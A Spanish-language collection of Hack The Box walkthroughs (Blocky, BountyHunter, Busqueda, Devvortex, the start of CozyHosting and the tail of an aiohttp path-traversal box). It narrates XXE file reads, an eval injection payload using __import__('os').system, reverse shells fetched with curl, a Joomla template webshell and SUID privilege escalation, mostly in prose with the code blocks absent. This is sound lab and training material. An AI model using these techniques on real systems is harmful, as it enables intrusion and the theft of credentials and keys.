aiohttp es un framework cliente/servidor HTTP asíncrono para asyncio y Python. Cuando se utiliza aiohttp como servidor web y se configuran rutas estáticas, es necesario especificar la ruta raíz para los archivos estáticos. Además, la opción 'follow_symlinks' se puede utilizar para determinar si se deben seguir enlaces simbólicos fuera del directorio raíz estático.
Cuando 'follow_symlinks' se establece en Verdadero, no hay validación para verificar si la lectura de un archivo está dentro del directorio raíz. Esto puede generar vulnerabilidades de directory traversal, lo que resulta en acceso no autorizado a archivos arbitrarios en el sistema, incluso cuando no hay enlaces simbólicos presentes.
Se recomiendan como mitigaciones deshabilitar follow_symlinks y usar un proxy inverso. La versión 3.9.2 soluciona este problema.
También nos encontramos con el siguiente repositorio que nos muestra un PoC (Proof of concept) de la explotación de esta vulnerabilidad de Path Traversal. Realizando la explotación, verificamos que hemos logrado obtener directamente la flag de root.txt.
En nuestro caso, deberemos de modificar el exploit original para que utilice el puerto 8080 y no el que viene por defecto que es el 8081.
Modificaremos el script original para que lea en este caso, el archivo /root/.ssh/id_rsa
y así lograr obtener la clave privada del usuario root
y conectarnos posteriormente por SS.
Volvemos a ejeuctar el exploit y verificamos que logramos visualizar el contenido correctamente.
Copiaremos la clave privada del usuario root
en nuestro equipo local, le daremos los permisos correspondientes y procederemos a autenticarnos al equipo víctima con el usuario root
haciendo uso de su clave privada.
Blocky
es bastante simple en general y se basó en una máquina del mundo real. Demuestra los riesgos de las malas prácticas de contraseñas, así como la exposición de archivos internos en un sistema de acceso público. Además de esto, expone un vector de ataque potencial masivo: Minecraft. Existen decenas de miles de servidores que son de acceso público, y la gran mayoría están configurados por administradores de sistemas jóvenes e inexpertos.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Blocky. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran servicios como FTP o SSH, una página Web del CMS WordPress y el servicio de Minecraft.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
Añadiremos en nuestro archivo /etc/hosts
la siguiente entrada.
Debido a que se trata del CMS de WordPress, utilizaremos la herramienta de wpscan
para realizar una enumeración en busca de vulnerabilidades del CMS.
En el resultado obtenido, verificamos que existen diversas vulnerabilidades y logramos enumerar usuarios del WP.
Realizaremos una enumeración de directorios y archivos de la página web a través de la herramienta de dirsearch
. En el resultado obtenido, verificamos que existen diferentes directorios y páginas PHP.
Analizaremos los archivos .jar
encontrados en busca de información en el código fuente, para ello utilizaremos la herramienta de JADX-GUI
.
Al revisar el archivo BlockyCore.jar
visualizamos unas credenciales en el código fuente, al parecer se tratan de las credenciales de acceso al SQL.
En la enumeración de los directorios condirsearch
, nos encontramos que phpmyadmin
se encontraba expuesto.
Al ingresar al phpMyAdmin
verificamos que existe en la base de datos wordpress
una tabla llamada wp_users
.
En los datos que dispone dicha tabla, nos encontramos al usuarionotch
con credenciales en formato hash.
Probamos de intentar crackear ese hash, pero tardaba mucho en intentar crackear el hash y no logramos obtener ningún resultado.
Probamos de acceder al equipo mediante ssh con el usuario root
y no nos funcionó el acceso, mientras que con el usuario notch
pudimos acceder sin problemas. Logramos visualizar la flag de user.txt.
Al revisar los grupos en los que se encuentra el usuario notch
, verificamos que forma parte del grupo sudo
. Tratamos de acceder como usuario sudo
y logramos obtener acceso como usuario root
y visualizar la flag de root.txt.
BountyHunter
es una máquina Linux sencilla que utiliza la inyección de entidades externas XML para leer archivos del sistema. Poder leer un archivo PHP en el que se filtran las credenciales brinda la oportunidad de obtener un punto de apoyo en el sistema como usuario de desarrollo. Un mensaje de John menciona un contrato con Skytrain Inc y habla de un script que valida los boletos. La auditoría del código fuente del script de Python revela que utiliza la función eval en el código del boleto, que se puede inyectar, y como el script de Python se puede ejecutar como root con sudo por el usuario de desarrollo, es posible obtener un shell de root.
Realizaremos un reconocimiento con nmap
para ver los puertos que están expuestos en la máquina BountyHunter
. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran abierta una página web de Apache
y el servicioSSH
.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
Realizaremos a través de la herramienta de whatweb
un reconocimiento inicial de las tecnologías que utiliza la aplicación web.
Realizaremos una enumeración de directorios y páginas PHP
. En el resultado obtenido, verificamos diferentes páginas web y directorios los cuales revisaremos posteriormente.
Por otro lado, también realizaremos la misma enumeración pero esta vez a través de la herramienta de gobuster
. En el resultado obtenido, verificamos diferentes páginas PHP
como las siguientes:
portal.php
db.php
index.php
Indicaremos unos datos randoms para verificar el funcionamiento de la aplicación web. Al indicar los datos, se nos muestra en el output
de la aplicación web el resultado obtenido.
Al interceptar la solicitud con BurpSuite
, comprobamos que al darle a la opción de Submit
lo que se tramita es una variable llamada data
con un código codificado en Base64
. Al seleccionar el código, la propia herramienta de BurpSuite
nos lo descodifica automáticamente.
En este caso, al descodificarlo, se nos muestra la estructura de una archivo XML
, con lo cual, lo primero que se nos ocurre es en intentar probar un XML External Entity Injection (XXE)
.
Descoficaremos el valor también en Cyberchef
para comprobar que efectivamente se trata de un archivo XML
codificado en Base64
y URL Encode
para evitar problemas con los carácteres especiales como =
,+
, etc.
Probaremos diferentes payloads
para intentar comprobar si la aplicación web es vulnerable a XXE
. En este primer intento para comprobar si es vulnerable, lo que realizaremos es codificar el siguiente contenido XML
en Base64 para ingresarlo en lo que espera la aplicación web que se le indique.
Con este archivo XXE
comprobaremos si podemos definir una entidad nueva llamada example
con el contenido GzzcooXXE
y indicar que se muestre entre las etiquetas <cwe>
como ejemplo.
Enviaremos en la variable data
nuestro archivo XML
malicioso y al enviar la solicitud, en la respuesta por parte del servidor comprobamos que ha interpretado la nueva entidad y se ha mostrado el contenido, con lo cual confirmamos que la aplicación web es vulnerable a XML External Entity Injection (XXE)
.
El contenido del archivo XML
debe estar codificado como hemos comentado en Base64
y también deberemos de aplicar un URL Encode
para no tener problemas. Para ello, seleccionamos el contenido en Base64
que hemos indicado en BurpSuite
y haremos Ctrl+U
para aplicar el URL Encode
y no tener problemas con los carácteres especiales, etc.
A continuación, el siguiente paso será intentar leer archivos arbitrarios del sistema. La siguiente estructura XML
la codificaremos en Base64
y URL Encode
y al enviar la solicitud desde BurpSuite
, comprobaremos que finalmente hemos logrado listar el archivo /etc/passwd
del servidor vulnerable.
Por lo tanto, tenemos una vía potencial de poder leer archivos arbitrarios del sistema.
El problema con la lectura de archivos en una aplicación web es que, si intentamos leer un archivo PHP
, este se interpretará y no podremos ver su contenido en texto plano.
Para evitar este comportamiento, podemos usar wrappers
de PHP
para codificar el contenido que queremos listar. En este caso, utilizaremos un wrapper que convierte el archivo a Base64
. Esto nos permite leer archivos PHP
sin que el servidor los ejecute, ya que la aplicación solo mostrará el contenido codificado como una cadena de texto. Luego, simplemente decodificamos el resultado para obtener el archivo original.
Por ejemplo, al utilizar el siguiente payload, podemos leer el archivo /etc/passwd
, que se nos devolverá en Base64
.
Nos guardaremos el contenido en Base64
obtenido en el punto anterior y lo guardaremos en un archivo, por ejemplo, data
.
El siguiente paso, será lograr descodificar el contenido de Base64
en el cual comprobaremos el archivo original de /etc/passwd
.
Para automatizar el proceso de explotación XXE
sin necesidad de codificar manualmente el archivo XML
malicioso, enviar la petición a BurpSuite
y decodificar la respuesta en Base64
, hemos desarrollado el siguiente script en Python.
Este script construye automáticamente la solicitud a la aplicación web, inyecta una estructura XML
con XXE
, recupera la respuesta en Base64
y la decodifica para mostrar el contenido del archivo objetivo de forma legible.
Ejecutamos el script con el objetivo de obtener el contenido del archivo /etc/passwd
y verificar que la herramienta funcione correctamente. Al ejecutar el comando, confirmamos que el script devuelve con éxito el contenido del archivo, lo que demuestra que, al proporcionar la ruta de cualquier archivo, el proceso se realiza automáticamente y obtenemos el resultado esperado.
En el resultado obtenido, comprobamos la existencia de un usuario llamado developer
que dispone de bash
.
Ahora que tenemos la capacidad de leer archivos PHP
a través de XXE
combinado con el wrapper PHP
en Base64
gracias al script que hemos implementado, podemos automatizar la lectura de archivos sensibles en la aplicación. En la enumeración de la página web, recordamos que, al usar herramientas como Gobuster
, encontramos una página llamada db.php
. Este archivo podría contener información valiosa, como la configuración de la base de datos o incluso las credenciales de acceso.
Al ejecutar el script sobre db.php
, efectivamente hemos obtenido el siguiente contenido, que incluye las credenciales de la base de datos:
Probamos de autenticarnos al SSH
con estas credenciales y con el usuario development
que encontramos en el archivo /etc/passwd
que disponía de bash
para comprobar si esta contraseña es reutilizada o no.
Finalmente logramos obtener acceso al sistema y logramos visualizar la flag user.txt.
Revisando si el usuario developer
disponía de algún permiso de sudoers
, nos encontramos que puede ejecutar como sudo
sin proporcionar credenciales un script de Python ubicado en /opt/skytrain_inc/tickerValidator.py
.
Al acceder al directorio /opt/skytrain_inc
nos encontramos con un directorio llamado invalid_tickets
en el cual contenía diferentes archivos con extensión .md
(Markdown). Comprobamos el contenido de uno de ellos el cual contiene una estructura de Markdown
con lo que parece ser un ticket con una estructura personalizada.
Este script valida un archivo de ticket de Skytrain Inc
verificando ciertas condiciones en su contenido.
Carga del archivo: El script abre un archivo especificado por el usuario si tiene la extensión .md
. Si el archivo no es un archivo Markdown, muestra un mensaje de error y termina la ejecución.
Evaluación del ticket: El script analiza el contenido del archivo en busca de ciertas líneas:
La primera línea debe comenzar con # Skytrain Inc
.
La segunda línea debe ser un encabezado con la forma ## Ticket to [destino]
.
La línea que contiene __Ticket Code:__
es identificada para extraer el código del ticket.
El código del ticket debe ser un número y, si al dividirlo por 7 da como resto 4, se evalúa su validez usando la expresión contenida en esa línea. Si el valor calculado es mayor que 100, el ticket es considerado válido.
Resultado: Después de evaluar el ticket, el script imprime si el ticket es válido o no según las condiciones definidas.
En resumen, el script valida un archivo de ticket basado en un formato específico de texto y reglas de validación predefinidas.
El script utiliza la función eval
para evaluar una expresión dentro de un ticket.
Este uso de eval
permite la ejecución de código arbitrario en el sistema si el contenido del ticket incluye una expresión que pueda ser evaluada, lo cual es un vector de vulnerabilidad. En este caso, si el ticket incluye una instrucción maliciosa como la que veremos en el siguiente ejemplo, eval
ejecutará esa instrucción, permitiendo potencialmente la ejecución de código no deseado en el servidor.
Aquí se muestra un ticket que explota la vulnerabilidad del script al permitir la ejecución de código arbitrario. Un ticket malicioso podría tener el siguiente formato.
En este ejemplo, el ticket contiene una expresión en la línea Ticket Code
que, al ser evaluada, no solo realiza una operación matemática, sino que además ejecuta el comando os.system('id')
, lo que puede permitir ejecutar comandos arbitrarios en el sistema vulnerable.
Cuando el script evalúa la expresión del ticket que contiene código malicioso, la instrucción eval
no sanitiza el contenido, por lo que el comando __import__('os').system('id')
se ejecutará. Este código malicioso ejecuta el comando id
en el sistema, lo que devolverá información sobre el usuario actual. La ejecución de este código en el script tendría el siguiente resultado.
El comando id
es ejecutado en el sistema, lo que potencialmente compromete la seguridad del entorno. En un escenario real, un atacante podría utilizar esta vulnerabilidad para ejecutar comandos maliciosos en el servidor donde se ejecuta el script.
Al ejecutar el archivo gzzcoo.md
con el script ticketValidator.py
, el sistema evalúa el código del ticket que contiene la expresión 31+410+86
. Al ejecutar el script, muestra la siguiente salida.
En este caso, el código del ticket no pasa la validación, ya que el resultado de la operación 31 + 410 + 86
no cumple con los requisitos para ser considerado válido, lo que lleva a que el script devuelva el mensaje "Invalid ticket".
En el archivo gzzcoo.md
que se presenta a continuación, intentamos explotar la vulnerabilidad en la función eval
del script ticketValidator.py
. Al introducir una expresión maliciosa como parte del código del ticket, podemos ejecutar comandos arbitrarios en el sistema.
Aquí, hemos modificado el Ticket Code
para incluir un comando Python que invoca la función os.system('id')
, lo cual ejecuta el comando id
en el sistema operativo. Esta es una forma de aprovechar la vulnerabilidad en el uso de eval
que no sanitiza la entrada.
Al ejecutar el script ticketValidator.py
con un archivo de ticket malicioso, observamos que se ejecuta el comando id
a través de la vulnerabilidad en la función eval
. El resultado muestra que, aunque el script indica "Invalid ticket", el comando id
sigue ejecutándose, revelando que el sistema está corriendo con privilegios de root
.
Dado que tenemos permisos de sudoers, y en el punto anterior comprobamos que el resultado del comando id
era root
, si conseguimos ejecutar la reverse shell, obtendremos una shell como el usuario root
. Esto se debe a que el script ticketValidator.py
se ejecuta con privilegios de root
, lo que nos permite ejecutar comandos con estos privilegios sin restricciones. Así, al inyectar el comando de la reverse shell en el ticket, la ejecución nos otorgará acceso a la máquina como root
.
Nos ponemos en escucha ocn nc
para recibir la conexión de la Reverse Shell.
Ejecutaremos el script como sudo
ya que disponemso de permisos de sudoers
para ejecutar el script como sudo
. Indicaremos la ruta de nuestro archivo gzzcoo.md
el cual contiene la inyección para vulnerar la función eval
del script tal y como comentamos anteriormente.
Comprobamos que recibimos la Reverse Shell como el usuario root
y logramos visualizar finalmente la flag root.txt.
Busqueda
es una máquina Linux de dificultad fácil que implica explotar una vulnerabilidad de inyección de comandos presente en un módulo Python
. Al aprovechar esta vulnerabilidad, obtenemos acceso a nivel de usuario a la máquina. Para escalar privilegios a root
, descubrimos credenciales dentro de un archivo de configuración Git
, lo que nos permite iniciar sesión en un servicio Gitea
local. Además, descubrimos que un script de verificación del sistema puede ser ejecutado con privilegios root
por un usuario específico. Al utilizar este script, enumeramos los contenedores Docker
que revelan las credenciales para la cuenta Gitea
del usuario administrador
. Un análisis más detallado del código fuente del script de verificación del sistema en un repositorio Git
revela un medio para explotar una referencia de ruta relativa, lo que nos otorga Ejecución remota de código (RCE) con privilegios root
.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Busqueda. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran abierta una página web de Apache
.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
Añadiremos la siguiente entrada en nuestro archivo /etc/hosts
.
Realizaremos una comprobación de las tecnologías que utiliza el sitio web.
Revisaremos las cabeceras de la página web, podemos confirmar que utiliza como servidor Werkzeug
y Python
.
Realizamos una enumeración de directorios y páginas web a través de feroxbuster
, logramos obtener el siguiente resultado.
Esta plataforma nos permite realizar búsquedas en múltiples motores, como Google, YouTube, DuckDuckGo y eBay, entre otros.
Además, nos ofrece la posibilidad de monitorizar menciones públicas en redes sociales y la web, facilitando el seguimiento de nuestra presencia en línea desde un panel centralizado.
Para usarla, solo necesitamos:
Seleccionar el motor de búsqueda.
Escribir nuestra consulta.
Hacer clic en "Search".
Si activamos la opción de redirección automática, seremos llevados directamente a los resultados. De lo contrario, obtendremos la URL de la búsqueda para utilizarla como queramos.
Realizaremos una búsqueda básica para ver el funcionamiento de la página web.
En el resultado obtenido, verificamos que se ha realizado la siguiente búsqueda.
En la propia página web de Busqueda
, nos encontramos que la página web utiliza Flask
y Searchor 2.4.0
.
Realizando una búsqueda por Internet de posibles vulnerabilidades sobre esta versión, nos encontramos con el siguiente CVE-2023-43364
.
main.py en Searchor anterior a 2.4.2 usa eval en la entrada CLI, lo que puede provocar la ejecución inesperada de código.
Por otro lado, nos encontramos con el siguiente repositorio de GitHub que automatiza la explotación de la vulnerabilidad otorgándonos una Reverse Shell.
Nos pondremos en escucha con nc
para recibir la Reverse Shell.
Realizaremos la explotación indicando el target vulnerable y nuestra dirección y puerto donde recibiremos la Reverse Shell.
Verificamos que hemos ganado el acceso correctamente al equipo.
El siguiente paso, será lograr obtener una Reverse Shell. Para ello, crearemos en nuestro equipo un archivo llamado shell.sh
que contiene la Reverse Shell, compartiremos el script a través de un servidor web.
Desde otra terminal nos pondremos en escucha con nc
.
Realizaremos la siguiente inyección de comando para que realize la petición concURL
de nuestro script shell.sh
y lo ejecutará en una bash
.
Verificamos que finalmente ganamos acceso al sistema con el usuariosvc
y logramos comprobar la flag de user.txt.
Al acceder al equipo, verificamos que al revisar los permisos de sudoers
nos requiere ingresar las credenciales del usuario, las cuales no disponemos actualmente. Revisamos los grupos a los que forma parte y tampoco disponemos de algún grupo que podamos abusar para escalar nuestros privilegios.
Enumerando el directorio /var/www/app
nos encontramos con un repositorio de /.git
en el cual contiene un archivo de configuración con lo que parecen ser credenciales de acceso del usuario cody
.
Enumerando el directorio personal del usuario svc
también observamos un archivo .gitconfig
el cual contiene la configuración del usuario cody
.
Revisaremos los puertos internos del equipo, y logramos encontrar el puerto 3000 abierto, que normalmente es utilizado para Gitea
.
Realizamos una petición con cURL
al servidor 127.0.0.1:3000 en el cual nos devuelve información de la página web relacionada con Gitea
.
El siguiente objetivo será realizar Port Forwarding con chisel
para lograr tener acceso a la página web de Gitea
. Para ello, compartiremos el binario de chisel
a través de un servidor web.
Desde el equipo comprometido, nos descargaremos el binario de chisel
y le daremos los permisos de ejecución correspondientes.
En nuestro equipo local, configuraremos chisel
para que actúe como servidor.
Desde el equipo comprometido, configuraremos chisel
para que actúe como cliente de nuestro servidor y compartiremos el puerto 3000 interno a que sea el puerto 80 de nuestro equipo local.
Añadiremos la siguiente entrada en nuestro archivo /etc/hosts
.
Enumerando el Gitea
, logramos encontrar un repositorio propio de nuestro usuario.
Revisamos el repositorio que disponemos, y comprobamos que se trata del archivo de Searchor
, la página web desde la cual obtuvimos el acceso inicial al sistema.
Probamos de validar si las credenciales del usuario cody
de Gitea
servían para el usuario svc
y comprobamos que son sus credenciales correctas.
Al analizar si disponíamos de privilegios de sudoers
, nos encontramos que podemos ejecutar el siguiente script en /opt/scripts/system-checkup.py
.
Enumeramos el directorio /opt/scripts
en los cuales aparecen diversos script de Bash y Python, al intentar comprobar el contenido de estos archivos se nos indica Permission denied
.
Probamos de ejecutar el script de Python como sudo
y nos aparece un mensaje indicando que no disponemos del acceso para ejecutar el binario.
Al intentar poner otro valor a la hora de ejecutar el script, verificamos que nos permite ejecutar diversos comandos de Docker
, como listar los contenedores en ejecución, inspeccionar y realizar un escaneo del sistema.
A través del siguiente comando, comprobaremos mediante el script system-checkup.py
los contenedores de Docker en ejecución, entre los que encontramos contenedores de Gitea
y MySQL
.
Al intentar inspeccionar el contenedor, se nos indica el uso correcto de la herramienta, se nos requiere especificar el formato y el nombre del contenedor.
Por la estructura del comando, parece ser comandos de Docker nativos. Con lo cual, decidimos consultar la información oficial de Docker
sobre el comando de docker
inspect
En este caso, inspeccionamos el contenedor de Gitea
para que nos muestre el resultado en formato JSON
. En el resultado obtenido, nos aparecen credenciales de una base de datos llamada gitea
.
Inspeccionamos el contenedor mysql
para enumerar la configuración de dicho contenedor, la información era bastante amplia.
Al realizar la ejecución del último comando, se nos indicaba que había ocurrido algún error, intentamos añadir algún parámetro, etc pero obtuvimos siempre le mismo resultado.
Enumeramos la configuración de red que disponía el contenedor de mysql
. En el resultado obtenido, comprobamos que el contenedor de mysql
operaba a través de la IP 172.19.0.3.
Revisamos la interfaz de docker0
que tenía el equipo comprometido y verificamos que estuviese y tuviese conectividad con la que operaba el MySQL
.
Probamos de acceder al MySQL
del contenedor de Docker con el usuario gitea
y las credenciales localizadas en la configuración del contenedor gitea
a través de la dirección IP 172.19.0.3.
Logramos obtener el acceso correspondiente y enumerar las tablas, entre las cuales aparecía la tabla users
.
Al enumerar los valores de la tabla users
, nos encontramos con las credenciales del usuario administrator
para Gitea
.
Volvimos a nuestro equipo local donde tenemos acceso al Gitea
mediante Port Forwarding. Probamos de acceder con las credenciales del usuario Administrator
localizadas en el punto anterior y comprobamos del acceso correspondiente. También, logramos verificar que disponíamos de un repositorio llamado scripts
.
Al acceder al repositorio de scripts
, logramos visualizar diferentes archivos/scripts que parecen ser los que se encontraban en /opt/scripts
que inicialmente no podíamos visualizar su contenido.
El primer script que logramos visualizar es el de check-ports.py
el cual después de revisarlo, no logramos sacar nada relevante.
A continuación, se muestra el contenido de full-checkup.sh
.
Contenido del script install-flask.sh
Contenido del script system-checkup.py
.
Después de una revisión exhaustiva de los scripts encontrados, nos encontramos que el script full-checkup.sh
podíamos llegar a obtener acceso como root debido a una mala configuración.
En el archivo del script, se mencionaba la función full-checkup
en la cual probaba de ejecutar un script llamado full-checkup.sh
. De la manera que está representado este valor, no se le indica la ruta absoluta del archivo de Bash, con lo cual nos puede permitir crear un archivo con el mismo nombre que realice otra acción que deseemos. Recordemos que este script lo ejecutamos como usuario sudo
, con lo cual podríamos llegar a modificar archivos, etc para lograr acceso al sistema.
Por lo tanto, decidimos de crear un archivo llamado full-checkup.sh
que lo que realizaría es otorgar al binario /bin/bash
permisos de SUID
.
Al ejecutar el script con la función full-checkup
, al disponer del script malicioso en el mismo repositorio, se nos indicó el mensaje de Done
.
Revisamos los permisos de /bin/bash
y comprobamos que tiene permisos de SUID
. Nos aprovechamos de esto para convertirnos en usuarioroot
y visualizar la flag de root.txt.
Devvortex
es una máquina Linux de dificultad fácil que cuenta con un CMS Joomla que es vulnerable a la divulgación de información. Acceder al archivo de configuración del servicio revela credenciales de texto simple que conducen al acceso administrativo a la instancia de Joomla. Con acceso administrativo, la plantilla de Joomla se modifica para incluir código PHP malicioso y obtener un shell. Después de obtener un shell y enumerar el contenido de la base de datos, se obtienen credenciales en formato hash, que se descifran y conducen al acceso SSH a la máquina. La enumeración posterior a la explotación revela que el usuario tiene permiso para ejecutar apport-cli como root, lo que se aprovecha para obtener un shell root.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Devvortex. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentra expuesta una página web de Nginx y el servicio SSH.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
Añadiremos en nuestro archivo /etc/hosts
la siguiente entrada.
Realizaremos una enumeración básica de las tecnologías que utiliza el sitio web a través de la herramienta de whatweb
.
Realizaremos una enumeración de directorios y páginas, no logramos visualizar algún contenido que nos pueda servir de utilidad.
Tratando de realizar una enumeración de subdominios de la página web, nos encontramos con el subdominio dev
.
Añadiremos esta nueva entrada en nuestro archivo /etc/hosts
.
Realizando una enumeración de directorios y páginas web del nuevo subdominio, nos encontramos con diferentes directorios y páginas que podremos investigar más adelante.
Podemos hacer uso de la herramienta de Joomscan
para tratar de verificar la versión de Joomla que se encuentra instalada, pero en este caso, decidimos optar por revisarlo manualmente si era posible.
Nos encontramos con el siguiente blog, en el cual nos mencionan cómo podemos intentar verificar la versión de Joomla a través de HTTP.
Ralizamos la siguiente petición concURL
y visualizamos la versión que está utilizando Joomla.
Revisando posibles vulnerabilidades de esta versión de Joomla, nos encontramos con el siguiente CVE-2023-23752
.
Se descubrió un problema en Joomla! 4.0.0 a 4.2.7. Una comprobación de acceso incorrecta permite el acceso no autorizado a los puntos finales del servicio web.
Buscando más información por Internet, nos encontramos con el siguiente blog en el cual nos menciona la vulnerabilidad y diferentes opciones para probar de intentar aprovecharnos.
En este caso, a través de la siguiente petición con cURL
, nos encontramos con unas credenciales en texto plano expuestas en el EndPoint.
Realizando la siguiente consulta, verificamos los usuarios que que se encuentran públicos. Logramos verificar que existe un usuario administrador lewis
y un usuario registrado llamado logan
.
Probaremos de verificar si podemos acceder al panel de Administración de Joomla a través de las credenciales obtenidas y de los usuarios que disponemos.
Verificaremos que hemos logrado acceder con el usuario Administrador de Joomla lewis
.
Dado que somos los administradores de Joomla, podemos intentar verificar diferentes campos para tratar de obtener acceso al sistema.
Lo primero que se nos ocurrió, fue en intentar modificar alguna plantilla de la web para inyectar algún comando y lograr obtener un RCE. Para ello, deberemos de ingresar a (System < Templates)
Al acceder a las plantillas que dispone el sitio web, tratamos de modificar la plantilla del archivo index.php
indicándole que nos muestre un nuevo meta tag
para verificar en el código fuente que se haya modificado correctamente. En este caso, al intentar guardar los cambios, se nos indicaba que no disponíamos de los permisos necesarios para escribir en el archivo.
Por lo que decidimos probar en el archivo error.php
, con lo cual verificamos que este archivo se trataba de una página en PHP, añadimos una nueva cadena para que nos imprima el valor gzzcoo
. Al intentar guardar la plantilla modificada, verificamos que en este caso si nos permitió guardarla.
Al tratar de acceder a una ruta que no existe, por ejemplo http://dev.devvortex.htb/gzzcoo, verificamos que se nos muestra la plantilla de error.php
y se nos visualiza el comando que hemos inyectado en la plantilla.
Volvimos de nuevo para editar el archivo error.php
, para que esta vez a través de la función system
de PHP intente ejecutar el comando whoami
.
Al tratar de acceder de nuevo a una página inexistente para que nos cargue el error.php
, verificamos que se ha logrado ejecutar el comando whoami
sin problemas, por lo tanto, parece ser que hemos logrado obtener una potencial vía para lograr un RCE y ejeuctar comandos arbitrarios en el servidor.
Editamos nuevamente la plantilla de error.php
para que nos incluya la siguiente función que lo que realizará es una webshell para lograr ejecutar comandos a través del parámetro gzzcoo
para así no tener que ir editando cada vez la plantilla.
Revisaremos desde consola, a través de la herramienta cURL
de si la webshell creada funciona correctamente. En este caso, haremos una petición a una página inexistente para que nos salte la plantilla de error.php
e indicaremos el parámetro configurado y el comando a ejecutar. Logramos tener una webshell a través de una plantilla modificada de Joomla.
El siguiente paso será lograr obtener acceso remoto al sistema. Por lo tanto, nos pondremos en escucha con nc.
Ejecutaremos la Reverse Shell a través de la webshell que disponemos.
Verificamos que logramos acceder al sistema y nos encontramos como usuario www-data
.
Dado que disponemos de un usuario con privilegios limitados, visualizaremos posibles usuarios en los cuáles nos interesaría pivotar. En este caso, verificamos que los únicos usuarios que disponen de una bash
son los usuarios root
y logan
.
Revisando los archivos que disponemos en el dierctorio actual, verificamos que hay uno que nos llama bastante la atención, el archivo que miraremos su contenid es el de configuration.php
.
Al visualizar el contenido de este archivo, logramos obtener las credenciales en texto plano del acceso al MySQL.
Verificaremos que disponemos de MySQL
instalado en el equipo, al comprobar esto, nos conectaremos con las credenciales obtenidas.
Al acceder al MySQL, visualizamos las bases de datos existentes, trataremos de investigar la tabla joomla
.
Al visualizar las tablas que disponía esta BBDD, nos llama la atención la tabla nombrada como sd4fg_users
.
Al revisar los valores de esta tabla, logramos obtener el hash de la contraseña del usuario logan
el cual no disponíamos de acceso a él y si bien recordamos, disponía de bash
para acceder al sistema.
Verificamos que el hash se trata de un hash tipo Blowfish
, intentamos crackear este hash a través de hashcat
y verificamos que logramos obtener la contraseña en texto plano.
Intentaremos acceder con estas nuevas credenciales mediante SSH, logramos el acceso y visualizar la flag de user.txt.
Al revisar si el usuario actual logan
disponía de algún permiso de sudoers
, nos encontramos que puede ejecutar como usuario sudo
el binario /usr/bin/apport-cli
Revisando por Internet posibles maneras de escalar nuestros privilegios a través de este privilegio sobre el binario, nos encontramos con el siguiente PoC.
La idea principal de esta escalada de privilegios, es realizar un reporte random y en el último paso cuando se genere el reporte, ingresar la opción V
para acceder a un modo de visualización (similar al comando less) y salir de este modo a través de !bash
y convertirnos en usuario root
.
Verificamos que logramos disponer de una bash de root
y visualizar la flag de root.txt.
CozyHosting
es una máquina Linux de nivel de dificultad fácil que cuenta con una aplicación Spring Boot
. La aplicación tiene habilitado el punto final Actuator
. Enumerar el punto final conduce al descubrimiento de la cookie de sesión de un usuario, lo que lleva al acceso autenticado al panel principal. La aplicación es vulnerable a la inyección de comandos, que se aprovecha para obtener un shell inverso en la máquina remota. Al enumerar el archivo JAR
de la aplicación, se descubren las credenciales codificadas y se utilizan para iniciar sesión en la base de datos local. La base de datos contiene una contraseña en hash, que una vez descifrada se utiliza para iniciar sesión en la máquina como el usuario josh
. El usuario puede ejecutar ssh
como root
, lo que se aprovecha para aumentar por completo los privilegios.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina CozyHosting. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentra expuesta una página web de Nginx y el servicio SSH.
Añadiremos en nuestro archivo /etc/hosts
la siguiente entrada.
Al realizar una enumeración de directorios y páginas, nos encontramos con el siguiente resultado.
Al buscar este mensaje de error por Internet, nos indica que se trata de Spring Boot
. Por lo que podemos deducir que la página está basada en ese framework.
Buscando nuveamente directorios, nos encontramos con los directorios admin
y login
.
Verificamos que logramos acceder a un panel de administración que ofrece unos gráficos administrativos y un apartado para añadir hosts para analizarlos en el panel.
Interceptamos la petición con BurpSuite
para verificar cómo funciona ese campo al añadir un nuevo host.
En la primera prueba realizada se indicaron los datos de nuestro equipo, por parte del servidor nos devolvió error de timed out
.
Tratamos de ingresar localhost
como host, pero se nos indicaba que había fallado la verificación de la clave. Esto nos hace pensar que por detrás probablemente el servidor lo que esté ejecutando es ssh -i [key] [username]@[hostname]
para tratar de conectarse, por lo cual podríamos verificar si existen vulnerabilidades de inyección de comandos.
Probamos de inyectar código para ver si era vulnerable a Command Injection
, pero el campo host
parece ser que no era vulnerable.
Probamos de inyectar código en el campo de username
y nos devolvió otro error distinto también.
Probamos de inyectar el comando -h
y en la respuesta por parte del servidor, acabamos de confirmar por completo que lo que se está ejecutando por detrás por parte del servidor es el comando ssh
mencionado anteriormente.
Tratamos de inyectar un comando con espacios, y se nos indica en la respuesta del servidor que no puede contener whitespaces
.
Debido que no podemos utilizar espacios en blanco, podemos intentar utilizar ${IFS}
como variable de entorno de Bash que se trata de un espacio.
La estructura de comando que ejecutará el servidor es la siguiente.
Para verificar si podemos ejecutar el comando, nos levantamos un servidor web con Python e inyectamos el código con el espacio a través de la variable indicada, verificamos que parece que se ha ejecutado debido que en nuestro servidor web hemos recibido una petición por GET
.
